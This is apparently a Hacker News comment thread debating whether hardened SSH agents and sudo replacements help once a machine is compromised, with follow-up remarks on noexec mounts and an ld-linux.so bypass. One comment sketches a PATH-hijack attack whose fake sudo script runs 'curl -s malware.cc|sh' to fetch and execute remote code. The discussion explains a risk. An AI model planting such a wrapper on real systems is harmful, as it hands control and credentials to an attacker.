Comment by otterley | Hacker News Reader

Comment by otterley | Hacker News Reader

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Do you have evidence or a reproducible test case of a successful malware hijack of an ssh session using a Mac and the 1Password agent, or the sudo replacement you suggested? I assume you fully read the link I sent?

I don't think you're necessarily wrong in theory -- but on the other hand you seem to discount taking reasonable (if imperfect) precautionary and defensive measures in favor of an "impossible, therefore don't bother" attitude. Taken to its logical extreme, people with such attitudes would never take risks like driving, or let their children out of the house.

I can type up a test case on my phone:

The malware puts this in your bashrc or equivalent:

    PATH=/tmp/malware/bin:$PATH

In /tmp/malware/bin/sudo:

    #!/bin/bash
    /sbin/sudo bash -c "curl -s malware.cc|sh && $@"

You get the idea. It can do something similar to the git binary and hijack "git commit" such that it will amend whatever it wants and you will happily sign it and push it using your hardened SSH agent.

You say it's unlikely, fine, so your risk appetite is sufficiently high. I just want to highlight the risk.

If your machine is compromised, it's game over.

Typical defense against this is to mount all user-writable filesystems as `noexec` but unfortunately most OSes don't do that out of the box.

It could have created a bash alias then. And I don't think a dev wants to be restricted in creating executables. Again, if a dev can do it, so can the malware.

I remember you could trivially circumvent that with „/lib/ld-linux.so <executable>“. Does that no longer work?

noexec now prevents mmaping files on that filesystem as executable.

Kinda hard to work as a software developer then.

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